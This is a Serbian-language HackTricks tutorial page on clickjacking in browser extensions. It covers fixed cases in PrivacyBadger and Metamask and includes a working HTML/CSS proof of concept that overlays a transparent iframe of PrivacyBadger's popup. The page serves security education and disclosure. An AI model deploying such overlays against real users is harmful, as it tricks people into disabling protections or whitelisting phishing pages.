BrowExt - ClickJacking
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji za pregledač.
Ako ne znate šta je ClickJacking, proverite:
Ekstenzije sadrže datoteku manifest.json
i ta JSON datoteka ima polje web_accessible_resources
. Evo šta Chrome dokumentacija kaže o tome:
Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a
chrome-extension://[PACKAGE ID]/[PATH]
, koji se može generisati pomoćuextension.getURL method
. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.1
web_accessible_resources
u ekstenziji za pregledač nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:
- Promene stanje ekstenzije
- Učitaju dodatne resurse
- Interaguju sa pregledačem do određene mere
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar web_accessible_resources
ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.
Primer PrivacyBadger
U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa skin/
direktorijumom koji je deklarisan kao web_accessible_resources
na sledeći način (Proverite originalni blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, skin/popup.html
datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar iframe
. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se videti u ClickJacking video primeru koji je dostupan na https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje /skin/*
iz liste web_accessible_resources
. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj skin/
direktorijuma ne može biti pristupljen ili manipulisan putem web-pristupa.
Rešenje je bilo jednostavno: ukloniti /skin/*
iz web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Primer
A blog post about a ClickJacking in metamask can be found here. U ovom slučaju, Metamask je ispravio ranjivost proveravajući da li je protokol koji se koristi za pristup https:
ili http:
(ne chrome:
na primer):
.png)
Još jedan ClickJacking ispravljen u Metamask ekstenziji bio je taj što su korisnici mogli da Click to whitelist kada je stranica bila sumnjiva zbog “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je iskoristi prikazujući nešto normalno kako bi naterao žrtvu da je stavi na belu listu bez da primeti, a zatim se vrati na phishing stranicu koja će biti stavljena na belu listu.
Steam Inventory Helper Primer
Proverite sledeću stranicu da biste videli kako je XSS u ekstenziji pretraživača povezan sa ClickJacking ranjivošću:
Reference
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.